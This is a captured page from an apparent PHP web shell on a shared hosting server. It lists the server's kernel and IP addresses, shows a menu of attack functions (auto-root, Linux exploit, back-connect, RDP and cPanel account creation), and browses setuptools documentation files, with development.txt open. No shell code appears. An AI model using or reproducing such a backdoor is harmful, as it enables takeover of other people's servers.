Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.145.180.101
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
python33 /
share /
doc /
alt-python33-setuptools /
docs /
[ HOME SHELL ]
Name
Size
Permission
Action
_templates
[ DIR ]
drwxr-xr-x
_theme
[ DIR ]
drwxr-xr-x
Makefile
2.28
KB
-rw-r--r--
conf.py
6.48
KB
-rw-r--r--
development.txt
1.42
KB
-rw-r--r--
easy_install.txt
73.76
KB
-rw-r--r--
formats.txt
30.33
KB
-rw-r--r--
index.txt
544
B
-rw-r--r--
merge-faq.txt
7.09
KB
-rw-r--r--
merge.txt
4.78
KB
-rw-r--r--
pkg_resources.txt
93.96
KB
-rw-r--r--
python3.txt
5.03
KB
-rw-r--r--
releases.txt
673
B
-rw-r--r--
roadmap.txt
167
B
-rw-r--r--
setuptools.txt
124.85
KB
-rw-r--r--
using.txt
335
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : development.txt
------------------------- Development on Setuptools ------------------------- Setuptools is maintained by the Python community under the Python Packaging Authority (PyPA) and led by Jason R. Coombs. This document describes the process by which Setuptools is developed. This document assumes the reader has some passing familiarity with *using* setuptools, the ``pkg_resources`` module, and EasyInstall. It does not attempt to explain basic concepts like inter-project dependencies, nor does it contain detailed lexical syntax for most file formats. Neither does it explain concepts like "namespace packages" or "resources" in any detail, as all of these subjects are covered at length in the setuptools developer's guide and the ``pkg_resources`` reference manual. Instead, this is **internal** documentation for how those concepts and features are *implemented* in concrete terms. It is intended for people who are working on the setuptools code base, who want to be able to troubleshoot setuptools problems, want to write code that reads the file formats involved, or want to otherwise tinker with setuptools-generated files and directories. Note, however, that these are all internal implementation details and are therefore subject to change; stick to the published API if you don't want to be responsible for keeping your code from breaking when setuptools changes. You have been warned. .. toctree:: :maxdepth: 1 formats releases
Close